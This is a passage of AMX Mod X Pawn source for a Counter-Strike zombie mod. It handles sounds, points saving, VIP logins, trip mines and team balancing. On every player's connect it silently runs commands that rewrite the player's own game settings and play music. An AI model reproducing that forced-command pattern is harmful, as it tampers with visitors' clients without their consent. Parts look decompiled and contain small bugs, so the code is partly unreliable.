8307 if ( Sample [7] == 'b' && Sample [8] == 'h' && Sample [9] == 'i' && Sample [10] == 't' )
8308 {
8309 if (g_iPlayerType[id] & 1)
8310 {
8311 client_cmd(id, "spk %s", g_pMonsterHitSounds[random_num(0, 2)]);
8312 }
8313 else if (g_iPlayerType[id] & 2)
8314 {
8315 client_cmd(id, "spk %s", g_pMonsterHitSounds[random_num(0, 2)]);
8316 }
8317 else
8318 {
8319 client_cmd(id, "spk %s", g_pZombieHitSounds[random_num(0, 4)]);
8320 }
8321
8322 return FMRES_SUPERCEDE;
8323 }
8324
8325 if ( Sample [8] == 'k' && Sample [9] == 'n' && Sample [10] == 'i' )
8326 {
8327 if ( Sample [14] == 's' && Sample [15] == 'l' && Sample [16] == 'a' )
8328 {
8329 client_cmd(id, "spk %s", g_pZombieMissSlash[random_num(0, 1)]);
8330
8331 return FMRES_SUPERCEDE;
8332 }
8333 if ( Sample [14] == 'h' && Sample [15] == 'i' && Sample [16] == 't')
8334 {
8335 if ( Sample [17] == 'w' )
8336 {
8337 client_cmd(id, "spk %s", g_pZombieMissWall[random_num(0, 1)]);
8338
8339 return FMRES_SUPERCEDE;
8340 }
8341 else
8342 {
8343 client_cmd(id, "spk %s", g_pZombieHitNormal[random_num(0, 3)]);
8344
8345 return FMRES_SUPERCEDE;
8346 }
8347 }
8348 if ( Sample [14] == 's' && Sample [15] == 't' && Sample [16] == 'a')
8349 {
8350 client_cmd(id, "spk weapons/knife_stab");
8351
8352 return FMRES_SUPERCEDE;
8353 }
8354 }
8355
8356 if ( Sample [7] == 'd' && ( ( Sample [8] == 'i' && Sample [9] == 'e' ) || ( Sample [8] == 'e' && Sample [9] == 'a' ) ) )
8357 {
8358 client_cmd(id, "spk %s", g_pZombieDieSounds[random_num(0, 4)]);
8359
8360 return FMRES_SUPERCEDE;
8361 }
8362
8363 if ( Sample [10] == 'f' && Sample [11] == 'a' && Sample [12] == 'l' && Sample [13] == 'l' )
8364 {
8365 client_cmd(id, "spk %s", g_pZombieFall[random_num(0, 1)]);
8366
8367 return FMRES_SUPERCEDE;
8368 }
8369
8370 return FMRES_IGNORED;
8371}
8372public fwGetGameDescription ( )
8373{
8374 forward_return ( FMV_STRING, "Counter-Strike" );
8375
8376 return FMRES_SUPERCEDE;
8377}
8378
8379loadPoints(id)
8380{
8381 g_vault = nvault_open("points");
8382
8383 if (g_vault != -1)
8384 {
8385 g_iPoints[id] = nvault_get(g_vault, g_cName[id]);
8386 nvault_close(g_vault);
8387 g_vault = -1;
8388 }
8389}
8390
8391savePoints(id)
8392{
8393 g_vault = nvault_open("points");
8394
8395 if (g_vault != -1)
8396 {
8397 new str[16];
8398 num_to_str(g_iPoints[id], str, charsmax(str));
8399
8400 nvault_set(g_vault, g_cName[id], str);
8401 nvault_close(g_vault);
8402 g_vault = -1;
8403 }
8404}
8405
8406public plugin_end()
8407{
8408 if (g_vault != -1)
8409 {
8410 nvault_close(g_vault);
8411 g_vault = -1;
8412 }
8413}
8414
8415public client_authorized(id)
8416{
8417 static pwd[32], field[32], reqname[64], reqpwd[64], reqflags[64], i;
8418
8419 get_cvar_string("amx_password_field", field, 31);
8420
8421 get_user_ip(id, g_ip[id], charsmax(g_ip[]), 1);
8422 get_user_name(id, g_cName[id], charsmax(g_cName[]));
8423 get_user_authid(id, g_steam[id], charsmax(g_steam[]));
8424 get_user_info(id, field, pwd, 31);
8425
8426 g_bDoubleDamage[id] = false;
8427 g_vip[id] = false;
8428
8429 for (i = 0; i < ArraySize(g_vname); i++)
8430 {
8431 ArrayGetString(g_vname, i, reqname, 63);
8432 ArrayGetString(g_vpwd, i, reqpwd, 63);
8433 ArrayGetString(g_vflags, i, reqflags, 63);
8434
8435 if (equali(g_cName[id], reqname))
8436 {
8437 if (equali(pwd, reqpwd) && strlen(pwd) > 0)
8438 {
8439 g_vip[id] = true;
8440 formatex(g_vip_flags[id], charsmax(g_vip_flags[]), "%s", reqflags);
8441 break;
8442 }
8443
8444 else
8445 {
8446 server_cmd("kick #%d Your VIP account's password is incorrect!", get_user_userid(id));
8447 break;
8448 }
8449 }
8450
8451 if (equali(g_ip[id], reqname) || equali(g_steam[id], reqname))
8452 {
8453 g_vip[id] = true;
8454 formatex(g_vip_flags[id], charsmax(g_vip_flags[]), "%s", reqflags);
8455 break;
8456 }
8457 }
8458 loadPoints(id);
8459}
8460
8461public Rays()
8462{
8463 static Float:origin[3];
8464 for (new vip = 1; vip <= g_iMaxClients; vip++)
8465 {
8466 if (is_user_alive(vip) && g_vip[vip] && containi(g_vip_flags[vip], "r") != -1)
8467 {
8468 if (!g_bZombie[vip])
8469 {
8470 for (new z=1;z<=g_iMaxClients;z++)
8471 {
8472 if (is_user_alive(z)&&g_bZombie[z]&&!ExecuteHam(Ham_FVisible, vip, z))
8473 {
8474 pev(z,pev_origin,origin);
8475 message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, vip)
8476 write_byte(TE_BEAMENTPOINT)
8477 write_short(vip)
8478 engfunc(EngFunc_WriteCoord, origin[0])
8479 engfunc(EngFunc_WriteCoord, origin[1])
8480 engfunc(EngFunc_WriteCoord, origin[2])
8481 write_short(g_iLaser)
8482 write_byte(1)
8483 write_byte(1)
8484 write_byte(5)
8485 write_byte(8)
8486 write_byte(0)
8487 write_byte(0)
8488 write_byte(42)
8489 write_byte(255)
8490 write_byte(255)
8491 write_byte(0)
8492 message_end()
8493 }
8494 }
8495 }
8496 else
8497 {
8498 for (new z=1;z<=g_iMaxClients;z++)
8499 {
8500 if (is_user_alive(z)&&!g_bZombie[z]&&!ExecuteHam(Ham_FVisible, vip, z))
8501 {
8502 pev(z,pev_origin,origin);
8503 message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, vip)
8504 write_byte(TE_BEAMENTPOINT)
8505 write_short(vip)
8506 engfunc(EngFunc_WriteCoord, origin[0])
8507 engfunc(EngFunc_WriteCoord, origin[1])
8508 engfunc(EngFunc_WriteCoord, origin[2])
8509 write_short(g_iLaser)
8510 write_byte(1)
8511 write_byte(1)
8512 write_byte(5)
8513 write_byte(8)
8514 write_byte(0)
8515 write_byte(255)
8516 write_byte(24)
8517 write_byte(0)
8518 write_byte(255)
8519 write_byte(0)
8520 message_end()
8521 }
8522 }
8523 }
8524 }
8525 }
8526}
8527
8528FixDeadAttrib(id)
8529{
8530 message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
8531 write_byte(id)
8532 write_byte(0)
8533 message_end()
8534}
8535
8536SendDeathMsg(attacker, victim)
8537{
8538 message_begin(MSG_BROADCAST, get_user_msgid("DeathMsg"))
8539 write_byte(attacker)
8540 write_byte(victim)
8541 write_byte(1)
8542 write_string("infection")
8543 message_end()
8544}
8545
8546UpdateFrags(attacker, victim, frags, deaths, scoreboard)
8547{
8548 set_pev(attacker, pev_frags, float(pev(attacker, pev_frags) + frags))
8549
8550 cs_set_user_deaths(victim, cs_get_user_deaths(victim) + deaths)
8551
8552 if (scoreboard)
8553 {
8554 message_begin(MSG_BROADCAST, get_user_msgid("ScoreInfo"))
8555 write_byte(attacker)
8556 write_short(pev(attacker, pev_frags))
8557 write_short(cs_get_user_deaths(attacker))
8558 write_short(0)
8559 write_short(_:fm_cs_get_user_team(attacker))
8560 message_end()
8561
8562 message_begin(MSG_BROADCAST, get_user_msgid("ScoreInfo"))
8563 write_byte(victim)
8564 write_short(pev(victim, pev_frags))
8565 write_short(cs_get_user_deaths(victim))
8566 write_short(0)
8567 write_short(_:fm_cs_get_user_team(victim))
8568 message_end()
8569 }
8570}
8571
8572public CmdPlantMine(iPlayer)
8573{
8574 if (g_bConnected[iPlayer])
8575 {
8576 if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iTripMines[iPlayer] || g_iPlantedMines[iPlayer] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
8577 {
8578 client_print_color(iPlayer, print_team_default, "^4[Zombie Outstanding]^1 You can't plant mines for some reasons...");
8579 return 0;
8580 }
8581 if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
8582 {
8583 return 0;
8584 }
8585 if ( g_iPlantedMines [iPlayer] > 1 )
8586 {
8587 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can plant only^3 2^1 mines.");
8588
8589 return PLUGIN_HANDLED;
8590 }
8591 if (CanPlant(iPlayer))
8592 {
8593 g_iPlanting[iPlayer] = 1;
8594 message_begin( MSG_ONE_UNRELIABLE, 108, _, iPlayer );
8595 write_byte( 1 );
8596 write_byte( 0 );
8597 message_end( );
8598 set_task(1.20, "Func_Plant", iPlayer + 450, "", 0, "", 0);
8599 }
8600 }
8601 return 0;
8602}
8603
8604public CmdTakeMine(iPlayer)
8605{
8606 if (g_bConnected[iPlayer])
8607 {
8608 if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iPlantedMines[iPlayer])
8609 {
8610 client_print_color(iPlayer, print_team_default, "^4[Zombie Outstanding]^1 You can't take mines for some reasons...");
8611 return 0;
8612 }
8613 if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
8614 {
8615 return 0;
8616 }
8617 if (CanTake(iPlayer))
8618 {
8619 g_iRemoving[iPlayer] = 1;
8620 message_begin( MSG_ONE_UNRELIABLE, 108, _, iPlayer );
8621 write_byte( 1 );
8622 write_byte( 0 );
8623 message_end( );
8624 set_task(1.20, "Func_Take", iPlayer + 500, "", 0, "", 0);
8625 }
8626 }
8627 return 0;
8628}
8629
8630public Func_Take(iPlayer)
8631{
8632 iPlayer -= 500;
8633
8634 g_iRemoving[ iPlayer ] = false;
8635
8636 static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
8637 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
8638 {
8639 if( !is_valid_ent( iEntity ) )
8640 continue;
8641
8642 szClassName[ 0 ] = '^0';
8643 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
8644
8645 if( equal( szClassName, "zp_trip_mine" ) )
8646 {
8647 if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
8648 {
8649 entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
8650 entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
8651
8652 if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 )
8653 {
8654 g_iPlantedMines[ iPlayer ]--;
8655 g_iTripMines[ iPlayer ]++;
8656
8657 remove_entity( iEntity );
8658
8659 break;
8660 }
8661 }
8662 }
8663 }
8664}
8665
8666public bool: CanTake( iPlayer )
8667{
8668 static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
8669 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
8670 {
8671 if( !is_valid_ent( iEntity ) )
8672 continue;
8673
8674 szClassName[ 0 ] = '^0';
8675 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
8676
8677 if( equal( szClassName, "zp_trip_mine" ) )
8678 {
8679 if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
8680 {
8681 entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
8682 entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
8683
8684 if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 )
8685 return true;
8686 }
8687 }
8688 }
8689
8690 return false;
8691}
8692
8693public bool: CanPlant( iPlayer )
8694{
8695 static Float: flOrigin[ 3 ];
8696 entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
8697
8698 static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
8699 velocity_by_aim( iPlayer, 64, flTraceDirection );
8700 flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
8701 flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
8702 flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
8703
8704 static Float: flFraction, iTr;
8705 iTr = 0;
8706 engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
8707 get_tr2( iTr, TR_vecEndPos, flTraceResult );
8708 get_tr2( iTr, TR_vecPlaneNormal, flNormal );
8709 get_tr2( iTr, TR_flFraction, flFraction );
8710
8711 if( flFraction >= 1.0 )
8712 {
8713 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You must plant the^3 mine^1 on a wall!" );
8714
8715 return false;
8716 }
8717
8718 return true;
8719}
8720
8721public Func_Plant( iPlayer )
8722{
8723 iPlayer -= 450;
8724
8725 g_iPlanting[ iPlayer ] = false;
8726
8727 static Float: flOrigin[ 3 ];
8728 entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
8729
8730 static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
8731 velocity_by_aim( iPlayer, 128, flTraceDirection );
8732 flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
8733 flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
8734 flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
8735
8736 static Float: flFraction, iTr;
8737 iTr = 0;
8738 engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
8739 get_tr2( iTr, TR_vecEndPos, flTraceResult );
8740 get_tr2( iTr, TR_vecPlaneNormal, flNormal );
8741 get_tr2( iTr, TR_flFraction, flFraction );
8742
8743 static iEntity;
8744 iEntity = create_entity( "info_target" );
8745
8746 if( !iEntity )
8747 return;
8748
8749 entity_set_string( iEntity, EV_SZ_classname, "zp_trip_mine" );
8750 entity_set_model( iEntity, "models/ZombieOutstanding/z_out_mine.mdl" );
8751 entity_set_size( iEntity, Float: { -4.0, -4.0, -4.0 }, Float: { 4.0, 4.0, 4.0 } );
8752
8753 entity_set_int( iEntity, EV_INT_iuser2, iPlayer );
8754
8755 g_iPlantedMines[ iPlayer ]++;
8756
8757 set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
8758
8759 entity_set_float( iEntity, EV_FL_frame, 0.0 );
8760 entity_set_float( iEntity, EV_FL_framerate, 0.0 );
8761 entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
8762 entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
8763 entity_set_int( iEntity, EV_INT_body, 3 );
8764 entity_set_int( iEntity, EV_INT_sequence, 7 );
8765 entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
8766 entity_set_int( iEntity, EV_INT_iuser1, 0 );
8767
8768 static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
8769 flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
8770 flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
8771 flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
8772
8773 entity_set_origin( iEntity, flNewOrigin );
8774
8775 vector_to_angle( flNormal, flEntAngles );
8776 entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
8777 flEntAngles[ 0 ] *= -1.0;
8778 flEntAngles[ 1 ] *= -1.0;
8779 flEntAngles[ 2 ] *= -1.0;
8780 entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
8781
8782 g_iTripMines[ iPlayer ]--;
8783
8784 EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/mine_deploy.wav" );
8785 EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/mine_charge.wav" );
8786
8787 entity_set_float( iEntity, EV_FL_nextthink, get_gametime( ) + 0.6 );
8788}
8789
8790public Func_RemoveMinesByOwner( iPlayer )
8791{
8792 static iEntity, szClassName[ 32 ];
8793 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
8794 {
8795 if( !is_valid_ent( iEntity ) )
8796 continue;
8797
8798 szClassName[ 0 ] = '^0';
8799 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
8800
8801 if( equal( szClassName, "zp_trip_mine" ) )
8802 if( entity_get_int( iEntity, EV_INT_iuser2 ) == iPlayer )
8803 remove_entity( iEntity );
8804 }
8805}
8806
8807public Forward_Think( iPlayer )
8808{
8809 static Float: flGameTime, iStatus;
8810 flGameTime = get_gametime( );
8811 iStatus = entity_get_int(iPlayer, EV_INT_iuser1);
8812
8813 switch( iStatus )
8814 {
8815 case 0:
8816 {
8817 entity_set_int( iPlayer, EV_INT_iuser1, 1 );
8818 entity_set_float( iPlayer, EV_FL_takedamage, DAMAGE_YES );
8819 entity_set_int( iPlayer, EV_INT_solid, SOLID_BBOX );
8820 entity_set_float( iPlayer, EV_FL_health, 800.0 + 1000);
8821
8822 EmitSound(iPlayer, CHAN_AUTO, "ZombieOutstanding/mine_activate.wav" );
8823 }
8824
8825 case 1:
8826 {
8827 static Float: flHealth;
8828 flHealth = entity_get_float( iPlayer, EV_FL_health );
8829
8830 if (is_user_alive(entity_get_int(iPlayer, EV_INT_iuser2)))
8831 {
8832 if( pev( iPlayer, pev_iuser3 ) == 1 )
8833 {
8834 set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
8835 ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iMineMessage, "First mine's health: %0.0f", flHealth + -1000);
8836 }
8837 else
8838 {
8839 set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
8840 ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iSecondMineMessage, "Second mine's health: %0.0f", flHealth + -1000);
8841 }
8842 }
8843
8844 if( flHealth <= 1000)
8845 {
8846 Func_Explode( iPlayer );
8847
8848 return FMRES_IGNORED;
8849 }
8850 }
8851 }
8852
8853 if( is_valid_ent( iPlayer ) )
8854 entity_set_float( iPlayer, EV_FL_nextthink, flGameTime + 0.1 );
8855
8856 return FMRES_IGNORED;
8857}
8858
8859EmitSound ( Index, Channel, const Sound [ ] ) emit_sound ( Index, Channel, Sound, 1.0, ATTN_NORM, 1, 105 );
8860
8861public client_connect(Client)
8862{
8863 static const Sounds[] = { 12, 16, 17 };
8864 if (is_user_bot(Client) || is_user_hltv(Client)) return;
8865 client_cmd(Client, "mp3volume 0.850; mp3 play media/Half-Life%d.mp3", Sounds[random_num(0, 2)]);
8866 client_cmd(Client, "rate 36000; cl_cmdrate 128; cl_updaterate 128; fps_max 300; fps_override 1; sys_ticrate 9999")
8867 client_cmd(Client, "cl_crosshair_size small; cl_dynamiccrosshair 0; cl_dlmax 8192")
8868}
8869
8870public MessageTeamInfo(iMessage, iDestination)
8871{
8872 static cTeam[2];
8873 static iPlayer;
8874 if ((iDestination != 2 && iDestination) || SwitchingTeam)
8875 {
8876 return 0;
8877 }
8878 iPlayer = get_msg_arg_int(1);
8879 if (0 < iPlayer < g_iMaxClients + 1 || !g_bConnected[iPlayer] || !is_user_connected(iPlayer))
8880 {
8881 return 0;
8882 }
8883 set_task(0.1, "TaskCheckFlash", iPlayer, "", 0, "", 0);
8884 if (!g_bModeStarted)
8885 {
8886 return 0;
8887 }
8888 get_msg_arg_string(2, cTeam, 2);
8889 switch (cTeam[0])
8890 {
8891 case 'C':
8892 {
8893 if ((g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
8894 {
8895 remove_task ( iPlayer + TASK_TEAM );
8896 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_T );
8897 set_msg_arg_string(2, "TERRORIST");
8898 }
8899 else
8900 {
8901 if (!GetZombies())
8902 {
8903 remove_task ( iPlayer + TASK_TEAM );
8904 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_T );
8905 set_msg_arg_string(2, "TERRORIST");
8906 }
8907 }
8908 }
8909 case 'T':
8910 {
8911 if ((g_iRoundType & 64 || g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
8912 {
8913 }
8914 else
8915 {
8916 if (GetZombies())
8917 {
8918 remove_task ( iPlayer + TASK_TEAM );
8919 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_CT );
8920 set_msg_arg_string(2, "CT");
8921 }
8922 }
8923 }
8924 default:
8925 {
8926 }
8927 }
8928 return 0;
8929}
8930
8931BalanceTeams ( )
8932{
8933 static iPlayersNum;
8934
8935 iPlayersNum = fnGetPlaying ( );
8936
8937 if ( iPlayersNum < 1 ) return;
8938
8939 static iTerrors, iMaxTerrors, id, Team [33];
8940
8941 iMaxTerrors = iPlayersNum / 2;
8942
8943 iTerrors = 0;
8944
8945 for ( id = 1; id <= g_iMaxClients; id ++ )
8946 {
8947 if ( !g_bConnected [id] ) continue;
8948
8949 Team [id] = fm_cs_get_user_team ( id );
8950
8951 if ( Team [id] == FM_CS_TEAM_SPECTATOR || Team [id] == FM_CS_TEAM_UNASSIGNED ) continue;
8952
8953 remove_task ( id + TASK_TEAM );
8954
8955 fm_cs_set_user_team ( id, FM_CS_TEAM_CT );
8956
8957 Team [id] = FM_CS_TEAM_CT;
8958 }
8959
8960 while ( iTerrors < iMaxTerrors )
8961 {
8962 if ( ++ id > g_iMaxClients ) id = 1;
8963
8964 if ( !g_bConnected [id] ) continue;
8965
8966 if ( Team [id] != FM_CS_TEAM_CT ) continue;
8967
8968 if ( random_num ( 0, 1 ) )
8969 {
8970 fm_cs_set_user_team ( id, FM_CS_TEAM_T );
8971
8972 Team [id] = FM_CS_TEAM_T;
8973
8974 iTerrors ++;
8975 }
8976 }
8977}
8978
8979fnGetPlaying ( )
8980{
8981 static iPlaying, id, Team
8982
8983 iPlaying = 0
8984
8985 for ( id = 1; id <= g_iMaxClients; id ++ )
8986 {
8987 if ( g_bConnected [id] )
8988 {
8989 Team = fm_cs_get_user_team ( id );
8990
8991 if ( Team != FM_CS_TEAM_SPECTATOR && Team != FM_CS_TEAM_UNASSIGNED )
8992
8993 iPlaying ++;
8994 }
8995 }
8996 return iPlaying;
8997}
8998
8999public CHECK_ValidPlayer(id)
9000{
9001
9002 if (1<=id<=g_iMaxClients && is_user_alive(id))
9003 return 1;
9004
9005 return 0;
9006}
9007
9008InsertInfo(iPlayer)
9009{
9010 if (0 < g_iSize)
9011 {
9012 static iLast;
9013 iLast = 0;
9014 if (g_iSize < 10)
9015 {
9016 iLast = g_iSize + -1;
9017 }
9018 else
9019 {
9020 iLast = g_iTracker + -1;
9021 if (0 > iLast)
9022 {
9023 iLast = g_iSize + -1;
9024 }
9025 }
9026 if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast]))
9027 {
9028 copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
9029 return 0;
9030 }
9031 }
9032 static iTarget;
9033 iTarget = 0;
9034 if (g_iSize < 10)
9035 {
9036 iTarget = g_iSize;
9037 g_iSize += 1;
9038 }
9039 else
9040 {
9041 iTarget = g_iTracker;
9042 g_iTracker += 1;
9043 if (g_iTracker == 10)
9044 {
9045 g_iTracker = 0;
9046 }
9047 }
9048 copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
9049 copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
9050 return 0;
9051}
9052
9053GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
9054{
9055 static iTarget;
9056 iTarget = i + g_iTracker % 10;
9057 copy(cName, iNameSize, g_cNames[iTarget]);
9058 copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
9059 return 0;
9060}
9061
9062Float:GetTimeLeft()
9063{
9064 return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
9065}
9066
9067stock client_print_color ( id, iColor = print_team_default, const Msg [ ], any:... )
9068{
9069 if ( id && !is_user_connected ( id ) ) return 0;
9070
9071 if ( iColor > print_team_grey ) iColor = print_team_default;
9072
9073 new Message [192];
9074
9075 if ( iColor == print_team_default )
9076
9077 Message [0] = 0x04;
9078 else
9079 Message [0] = 0x03;
9080
9081
9082 new iParams = numargs ( )
9083
9084 if ( id )
9085 {
9086 if ( iParams == 3 )
9087
9088 copy ( Message [1], charsmax ( Message ) -1, Msg );
9089 else
9090 vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
9091
9092 if ( iColor )
9093 {
9094 new GetTeam [11]; get_user_team ( id, GetTeam, charsmax ( GetTeam ) );
9095
9096 SendTeamInfo ( id, id, TeamName [iColor] );
9097
9098 SendSayText ( id, id, Message );
9099
9100 SendTeamInfo ( id, id, GetTeam );
9101 }
9102 else
9103 SendSayText ( id, id, Message );
9104 }
9105 else
9106 {
9107 new iPlayers [32], iNum; get_players ( iPlayers, iNum, "ch" );
9108
9109 if ( !iNum ) return 0;
9110
9111 new iFool = iPlayers [0];
9112
9113 if ( iParams == 3 )
9114
9115 copy ( Message [1], charsmax ( Message ) -1, Msg );
9116 else
9117 vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
9118
9119 if ( iColor )
9120 {
9121 new GetTeam [11]; get_user_team ( iFool, GetTeam, charsmax ( GetTeam ) );
9122
9123 SendTeamInfo ( 0, iFool, TeamName [iColor] );
9124
9125 SendSayText ( 0, iFool, Message);
9126
9127 SendTeamInfo ( 0, iFool, GetTeam );
9128 }
9129 else
9130 SendSayText ( 0, iFool, Message );
9131 }
9132
9133 return 1;
9134}
9135
9136stock SendTeamInfo ( iReceiver, iPlayerId, GetTeam [] )
9137{
9138 static iTeamInfo = 0;
9139
9140 if ( !iTeamInfo )
9141
9142 iTeamInfo = get_user_msgid ( "TeamInfo" );
9143
9144 message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iTeamInfo, .player = iReceiver );
9145
9146 write_byte ( iPlayerId );
9147
9148 write_string ( GetTeam );
9149
9150 message_end ( );
9151}
9152
9153stock SendSayText ( iReceiver, iPlayerId, Message [ ] )
9154{
9155 static iSayText = 0;
9156
9157 if ( !iSayText )
9158
9159 iSayText = get_user_msgid ( "SayText" );
9160
9161 message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iSayText, .player = iReceiver );
9162
9163 write_byte ( iPlayerId );
9164
9165 write_string ( Message );
9166
9167 message_end ( );
9168}
9169
9170stock GetInfoPlayer ( id, const iInfo )
9171{
9172 new InfoToReturn [64];
9173
9174 switch( iInfo )
9175 {
9176 case INFO_NAME:
9177 {
9178 new Name[ 32]; get_user_name ( id, Name, charsmax ( Name ) );
9179
9180 copy ( InfoToReturn, charsmax ( InfoToReturn ), Name );
9181 }
9182 case INFO_IP:
9183 {
9184 new Ip [32]; get_user_ip ( id, Ip, charsmax ( Ip ), 1 );
9185
9186 copy ( InfoToReturn, charsmax ( InfoToReturn ), Ip );
9187 }
9188 case INFO_AUTHID:
9189 {
9190 new AuthId [35]; get_user_authid ( id, AuthId, charsmax ( AuthId ) );
9191
9192 copy ( InfoToReturn, charsmax ( InfoToReturn ), AuthId );
9193 }
9194 }
9195
9196 return InfoToReturn;
9197}
9198
9199stock is_player_stuck(id)
9200{
9201 static Float:originF[3]
9202 pev(id, pev_origin, originF)
9203
9204 engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
9205
9206 if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
9207 return true;
9208
9209 return false;
9210}
9211
9212stock bool:unstuck_is_hull_vacant(const Float:origin[3], hull,id)
9213{
9214 static tr
9215 engfunc(EngFunc_TraceHull, origin, origin, 0, hull, id, tr)
9216 if (!get_tr2(tr, TR_StartSolid) || !get_tr2(tr, TR_AllSolid))
9217 return true
9218
9219 return false
9220}
9221
9222stock fm_set_weapon_ammo(entity, amount)
9223{
9224 set_pdata_int(entity, OFFSET_CLIPAMMO, amount, OFFSET_LINUX_WEAPONS);
9225}
9226
9227stock fm_cs_get_user_team ( id )
9228{
9229 return get_pdata_int ( id, 114, 5 );
9230}
9231
9232stock fm_cs_set_user_team ( id, team )
9233{
9234 set_pdata_int ( id, 114, team, 5 );
9235}
9236
9237stock fm_user_team_update ( id )
9238{
9239 static Float: CurrentTime;
9240
9241 CurrentTime = get_gametime ( );
9242
9243 if ( CurrentTime - TeamsTargetTime >= 0.1 )
9244 {
9245 set_task ( 0.1, "fm_cs_set_user_team_msg", id + TASK_TEAM );
9246
9247 TeamsTargetTime = CurrentTime + 0.1
9248 }
9249 else
9250 {
9251 set_task ( ( TeamsTargetTime + 0.1 ) - CurrentTime, "fm_cs_set_user_team_msg", id + TASK_TEAM );
9252
9253 TeamsTargetTime = CurrentTime + 0.1
9254 }
9255}
9256
9257public fm_cs_set_user_team_msg ( TaskIndex )
9258{
9259 SwitchingTeam = true;
9260
9261 emessage_begin ( MSG_ALL, get_user_msgid ( "TeamInfo" ) );
9262
9263 ewrite_byte ( ID_TEAM );
9264
9265 ewrite_string ( CS_TEAM_NAMES [fm_cs_get_user_team (ID_TEAM)] );
9266
9267 emessage_end ( );
9268
9269 SwitchingTeam = false
9270
9271 if(g_bAlive[ID_TEAM] && g_vip[ID_TEAM])
9272 {
9273 message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
9274 write_byte(ID_TEAM)
9275 write_byte(4)
9276 message_end()
9277 }
9278}
9279/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
